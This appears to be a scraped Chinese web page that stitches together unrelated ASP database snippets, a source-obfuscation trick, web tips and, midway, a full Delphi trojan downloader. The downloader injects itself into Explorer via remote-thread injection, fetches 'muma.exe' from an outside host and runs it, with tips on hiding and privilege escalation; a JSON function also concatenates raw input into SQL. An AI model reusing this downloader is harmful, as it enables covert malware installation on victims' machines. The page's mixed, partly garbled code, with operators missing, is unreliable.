下面就是小编给大家带来的几种连接数据库的asp编程代码（共含7篇），希望大家喜欢，可以帮助到有需要的朋友!同时，但愿您也能像本文投稿人“华夏打工仔”一样，积极向本站投稿分享好文章。
1、strconn=Driver={Microsoft Access Driver(*.mdb)}; _ DBQ=F:Inetpubwwwrootsomedirdb1.mdb;DefaultDir= _ f:Inetpubwwwrootsomedir;uid=LoginID; _ pwd=Password;DriverId=25;FIL=MSAccess; set conn = server.createobject(adodb.connection) co
以下是SQL连接代码：
复制代码 代码如下:
Function Open_conn
dim Conn,Strconn
set Conn=server.createobject(“adodb.connection”)
Strconn = “Provider = Sqloledb; User ID = 数据库登录帐号; Password = 数据库登录密码; Initial Catalog = 数据库名称; Data Source = (local);”
Conn.open Strconn
set Open_conn=Conn
If Err Then
err.Clear
Conn.close:set Conn=nothing
Response.Write “对不起，数据库连接出错。”
Response.End
End If
End Function
调用方法：
将原来的
复制代码 代码如下:
rs.open sql,conn
改成
复制代码 代码如下:
rs.open sql,Open_conn()
以下是ACCESS连接代码：
复制代码 代码如下:
Function Open_conn()
dim Dbpath,Conn
Dbpath=server.MapPath(“数据库路径”)
set Conn=server.createObject(“ADODB.connection”)
Conn.open “data source=”&dbpath&“;provider=microsoft.Jet.OLEDB.4.0;”
set Open_conn=Conn
If Err Then
err.Clear
Conn.close:set Conn=nothing
Response.Write “对不起，数据库连接出错。”
Response.End
End If
End Function
调用方法：
将原来的
复制代码 代码如下:
rs.open sql,conn
改成
复制代码 代码如下:
rs.open sql,Open_conn()
[asp 数据库连接函数代码介绍]
作者： 字体：[增加 减小] 类型：
ASP代码一般是明文，很少有加密的，MS有个工具Script Encoder可以加密，这个东东可以微软 免费下载，而且还有详细使用说明，但是经过它加密后的文件会有<%@ language = vbscript.encode %>，管理员看到这句话就知道这个asp文件被加密了，而且也有相关的解密文件。
本文提供一种简单的方法，可以加密ASP代码，主要思路是将代码做些运算，比如将全部代码移动一位，基本上就算加密了，主要的加解密函数如下：
function UnEncode(temp)
but=1
for i =1 to len(temp)
if mid(temp,i,1)“汤” then
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
else
a=a&vbcrlf
end if
next
UnEncode=a
end function
function Encode(temp)
but=1
cc=replace(temp,vbcrlf,“汤”)
for i= 1 to len(cc)
if mid(cc,i,1)“汤” then
pk=asc(mid(cc,i,1))+but
if pk>126 then
pk=pk-95
elseif pk<32 then
pk=pk+95
end if
a=a&chr(pk)
else
a=a&“汤”
end if
next
a=replace(a,“”“”,“”“”“”)
Encode=a
end function
在开发的时候，通常将关键ASP代码Encode，再使用Excute(Uncode(ipaddr))执行就可以了，
这样管理员一般不能直接看到关键代码，一般在程序里不要带上Encode函数，只在开发的时候使用，此外，UnEncode也可以改成其它函数名。
这种方式加密比较简单，解密也很容易。
这篇文章主要介绍了asp实现读取数据库输出json代码的方法的相关资料,需要的朋友可以参考下
代码如下:
Function GetTable(Table,Where,Order,OrderSort,curpage, pagesize,MiniJson)
‘Author : nigou
‘使用方法 : Response.Write GetTable(Table表名,Where条件,Order主键(必须),OrderSort(asc,desc),curpage当前页, pagesize每页条数,MiniJson是否输出为miniUI格式)
‘
dim i, j ,rs
if rderSort=“” Then rderSort=“asc”
if Where=“” Then Where=“asc”
Set Rs=Server.CreateObject(“adodb.recordset”)
if curpage>1 then
TmpSql=“select a.* from ( select top ” & (curpage) * pagesize & “ * from ” & Table & “ where ” & where & “ order by ” & Order & “ ” & OrderSort & “) a left join ( select top ” & (curpage-1) * pagesize & “ * from ” & Table & “ where ” & where & “ order by ” & Order & “ ” & OrderSort & “) b on a.” & Order & “=b.” & Order & “ where iif(b.” & Order & “,‘0‘,‘1‘)=‘1‘”
else
TmpSql=“select a.* from ( select top ” & (curpage) * pagesize & “ * from ” & Table & “ where ” & where & “ order by ” & Order & “ ” & OrderSort & “) a ”
end if
if pagesize=0 Then TmpSql = “select * from ” & Table
Rs.open TmpSql,conn,1,1
RealSize=Rs.recordcount
for i=0 to Rs.recordcount-1
TmpJson= TmpJson & “{”
for j=0 to Rs.fields.count-1
TmpJson= TmpJson & “”“” &(Rs.fields(j).name) & “”“ : ”
TmpJson= TmpJson & “”“” & Rs(j) & “”“”
if j
next
TmpJson= TmpJson & “ }”
if i
TmpJson= TmpJson & vbcrlf
rs.movenext
next
Rs.close
if MiniJson=1 Then
CountSql=“select count(”& order &“) from ” & Table & “ where ” & where
Rs.open CountSql,Conn,1,1
Counts=Rs(0)
Rs.Close
GetTable=ToMiniUi(TmpJson,Counts)
Else
GetTable=toJson(TmpJson)
end if
Set Rs=nothing
End Function
function toJson(JsonStr)
toJson=“[” & vbcrlf & JsonStr & vbcrlf & “]”
end function
Function ToMiniUi(JsonStr,total)
ToMiniUI=“{”
ToMiniUI=ToMiniUI & “”“total”“:”“ ” & total & “”“,” & vbcrlf
ToMiniUI=ToMiniUI & “”“data”“: [” & JsonStr
ToMiniUI=ToMiniUI & “]}”
End Function
PS：最后的参数是针对miniUI开发的,可以无视
以上就是本文的全部内容了，希望大家能够喜欢，
asp实现读取数据库输出json代码
，
防范网站被采集的ASP编程代码如下： % Dim AppealNum,AppealCount AppealNum=10 '同一IP60秒内请求限制10次 AppealCount=Request.Cookies(AppealCount) If AppealCount= Then Response.Cookies(AppealCount)=1 AppealCount=1 Response.Cookies(AppealCount).
部分代码的思路来自于国外EES组织的Aphex，基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL，而是本身的一个过程。下面是代码，由于本人专业知识不够，可能有些说法不太专业。
program InjectTheSelf;
{$IMAGEBASE $13140000}
uses Windows, Urlmon;
procedure Download; //下载过程
begin
URLDownloadToFile(nil, 'www.mycode.ful.cn/muma.exe', 'C:muma.exe', 0, nil);
WinExec('C:muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE
end;
var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程
hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度
Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImagedosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度
VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存
hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置
WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作
CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成
CloseHandle(ProcessHandle);
//关闭对像
end.
需要说明的是,尽管这已经是一份完整的穿墙版Downloader的代码，
但其还是有很多BUG的。如果你想写属于自己的下载者，请注意解决下面几个问题：
1、上面的代码用到的远程注入的方法所用到的函数在Windows9X下没有。
2、Windows和一些应用程序对某些进程做了保护，不允许进程进行越权操作。如Svchost、qq等进程的注入，必须先进行提权操作。
3、若需注入到IE。请先用Winexec的SW_HIDE模式打开一个隐藏的IE进程，将程序挂起3秒后再进行注入。这个是针对一些老机器而作的。
1. ncontextmenu=“window.event.returnvalue=false” 将彻底屏蔽鼠标右键
no 可用于Table
2. 取消选取、防止复制
3. npaste=“return false” 不准粘贴
4. ncopy=“return false;” ncut=“return false;” 防止复制
5. IE地址栏前换成自己的图标
6. 可以在收藏夹中显示出你的图标
如何制作将本站设为首页
你可能已经注意到，现在许多网站的首页上都有这么一个链接“按这里将本站设为首页”(这里的首页指的是浏览器的起始页)，
不但大的ISP,ICP这么做，一些个人主页也推出这一“服务”以招揽网友，具体是如何实现这个功能的呢？我来帮你剖析一下：
点击那个超链接会显示下载一个名为lspace.reg的文件，下载后双击它，便会修改你的注册表，然后当你再打开浏览器的时候，起始页就发生了变化。(一听到修改注册表，许多网友就比较“怵”，会不会把windows给弄坏了。)
别怕，我们来打开lspace.reg看看(用最普通的notepad记事本就可以打开)，发现内容如下：
REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
“Start Page” = “www.aygame.com/”;
[HKEY_CURRENT_USERSoftwareNetscapeNetscape NavigatorMain]“Home Page” = “www.aygame.com/”;
原来就两条，第一条设置IE的star page；第二条设置NC的home page(没什么花头噢：)，
后面跟的URL就是你主页的网址！
7. 关闭输入法
8. 永远都会带着框架
9. 防止被人frame
10.
11.
nclick=“window.location = 'view-source:'+ '” target=_blank __designer:dtid=“11794787648667917”>www.csdn.net/'“>
12. 怎样通过asp的手段来检查来访者是否用了代理
<% if Request.ServerVariables(”HTTP_X_FORWARDED_FOR“)”“ then
response.write ”您通过了代理服务器，“& _
”真实的IP为“&Request.ServerVariables(”HTTP_X_FORWARDED_FOR“)
end if
%>
13. 取得控件的绝对位置
//****
//VBScript
14. 光标是停在文本框文字的最后
15. 判断上一页的来源
asp:
request.servervariables(”HTTP_REFERER“)
****:
document.referrer
16. 最小化、最大化、关闭窗口
★ Visual C++ ADO数据库编程入门（下）数据库教程
★ 解决ubuntu下mysql不能远程连接数据库的问题数据库教程
★ 数据库面试题
★ 编程学习计划
★ 数控编程技巧
